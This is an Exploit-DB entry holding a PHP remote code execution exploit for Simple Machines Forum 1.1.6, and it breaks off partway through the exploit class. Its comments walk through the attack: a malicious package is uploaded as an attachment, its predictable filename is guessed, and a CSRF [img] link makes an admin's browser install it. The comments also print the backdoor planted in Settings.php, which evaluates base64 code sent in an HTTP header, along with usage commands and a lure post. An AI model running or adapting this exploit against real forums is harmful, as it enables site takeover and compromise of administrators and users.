Exploit-DB #6993
Description: Simple Machines Forum (SMF) 1.1.6 - Code Execution
Type: webapps
Platform: php
Date: 2008-11-04
Author: Charles Fol

Exploit:
<?php
#
# Simple Machines Forum (SMF) 1.1.6 Remote Code Execution Exploit
#  Credits: Charles FOL <charlesfol[at]hotmail.fr>
#   URL: http://real.olympe-network.com/
#
# Note: other versions are maybe vulnerable, not tested.
#
# SMF suffers from multiples vulnerabilities.
# Combining some of them, we can obtain a remote code execution on the
# remote host. I won't talk here about all of them, but I'll explain
# how we can execute code.
#
# 0 - UPDATE (05/11/08)
#
# (Now,) SMF seems to replace "action=" by "action-" in every URL.
# But SMF urldecode() GET data, so I replaced "action" by "%61ction".
# Other little problems have been corrected.
#
# Thanks to Alessandro Tagliapietra for his report and his patience.
#
# It seems that many people can't use phpreter, so here is a little course :
#
# phpreter have 3 modes : cmd (bash), php, and SQL
#
# To switch to a mode just type "mode=<mode>" (replace <mode> by php, cmd or sql)
#
# In cmd mode, you can run bash commands, like "ls"
# In php mode, you can exec php code like "echo 'abc';"
# In sql mode, you can exec sql queries and view results, try "SHOW TABLES"
#
# I - Session Code
#
# SMF administration panel is secured by a "session code", a kind of
# password that must be provided by the admin browser when the admin
# is editing data.
#
# But the session code is not required for SMF package installation.
# Just to be clear : you don't need the "session code" to install the
# package, but you do need a valid admin session.
#
# II - Package Installation
#
# Package installation works this way :
# - The admin tells an archive file, which can be either gzip or zip, to SMF
# - SMF un(g)zip it, and analyse the XML files (yes, it work with XML)
#   to add, replace or remove code from any SMF source code file.
#
# To precise an archive to SMF, the admin is supposed to go on this URL :
# 
# http://[website]/SMF/index.php?action=packages;sa=install2;package=[filename] (1)
#
# Since $_REQUEST['package'] is not checked, we can install any file
# on the server, even if the file is not in the Packages/ dir.
#
# Using CSRF, we can make an admin to install whatever package we want.
# That does not seem really interesting for now, but be patient =)
#
# III - File upload in SMF; Attachments
#
# SMF let users upload files in two cases :
# - You can upload an image to be your avatar
# - You can upload attachments to every post you submit
#
# Since uploaded images are checked, they don't interest us for now.
# 
# Attachments are not checked by SMF.
# They are renamed and moved to the attachments/ directory.
# They are renamed this way :
# [id]_[name]_[ext][md5([name].[ext])]
#
# As you can see, there is no rand(), or other strange stuff :
# we can easily find attachment name.
#
# The second part is more interesting now, no ?
#
# Now, we can submit a post with a gzip'ed attachment, and make the admin
# click on a specific link, to install a package we uploaded ourself.
#
# I writed "click", so many of you may say "brr, that sucks".
# So here come the wait-I've-not-finished part.
#
# IV - Wait-I've-not-finished part
#
# SMF allows us to display remote images in our posts, using [img]<url>[/img]
# We can just set our image URL to ... (1) : when the admin will see our post,
# the package will be installed.
#
# V - Classic Scenario
#
# 1. We submit a fantastic post containing our nasty-attached-gzip'ed package, ready
#    to be installed.
# 2. We guess the attachment name, that's pretty easy because we can retrieve the
#    attachment ID.
# 3. We modify our post, adding an [img](1)[/img], replacing [filename] by 
#    ../attachments/[the_name_you_just_found]
# 4. The administrator discover our fantastic post on his fantastic forum ...
# 5. His browser discovers our image : it goes to the specified url to download it.
#    wooops. The package is installed.
#
# VI - Exploit
#
# The exploit will login with your user account, and submit a new post/topic containing an
# attachment, a gzipped package, which permits remote code execution once installed.
# Then it will obtain the attachment ID, determine attachment name, and modify your topic to
# add a remote image (using [img][/img]).
# Then you'll have to wait for an admin to see your post ... and the package will be installed.
#
# VII - Notes
#
# - Do not forget to change SUBJECT and MESSAGE constants, to make your post a little more realistic.
# - The current gzipped package is supposed to put PHP code at the end of Settings.php file.
# - Code: if(isset($_SERVER['HTTP_SHELL'])) { print[PII_REDACTED];eval(base64_decode($_SERVER['HTTP_SHELL']));print[PII_REDACTED];exit(); }
#
# First run the exploit like this :
# eg : php exploit.php -url http://localhost/forum/ -bid 2 -user tester:passwd
# And when you think the admin viewed your post, run the shell :)
# eg : php exploit.php -url http://localhost/forum/ -shell
#
# FOR EDUCATIONAL PURPOSE ONLY
#

new smf_poc();

class smf_poc
{
	const SUBJECT = 'hello';
	const MESSAGE = 'dudes ... I love your forum ;)';
	
	function smf_poc()
	{
		$this->header();
		$this->gzip();
		$this->loadparameters();
		$this->wwwinit();
		
		if(!$this->shell)
		{
			# First of all, login
			$this->login();
			# Then submit a topic
			$this->submit_post();
			# Find attachment name and message id
			$this->get_postinfo();
			# and modify the post
			$this->edit_post();
			# finally ... wait.
			$this->wait();
		}
		else
			$this->shell();
	}
	
	function header()
	{
		$this->msg();
		$this->msg('  Simple Machines Forum (SMF) 1.1.6 Remote Code Execution Exploit');
		$this->msg('    by Charles FOL <charlesfol[at]hotmail.fr>');
		$this->msg();
	}
	
	function msg($msg = '', $exit = 0)
	{
		print '# ' . $msg . "\n";
		
		if($exit)
		{
			$this->msg();
			exit();
		}
	}
	
	function usage()
	{
		global $argv;
		
		$name = basename($argv[0])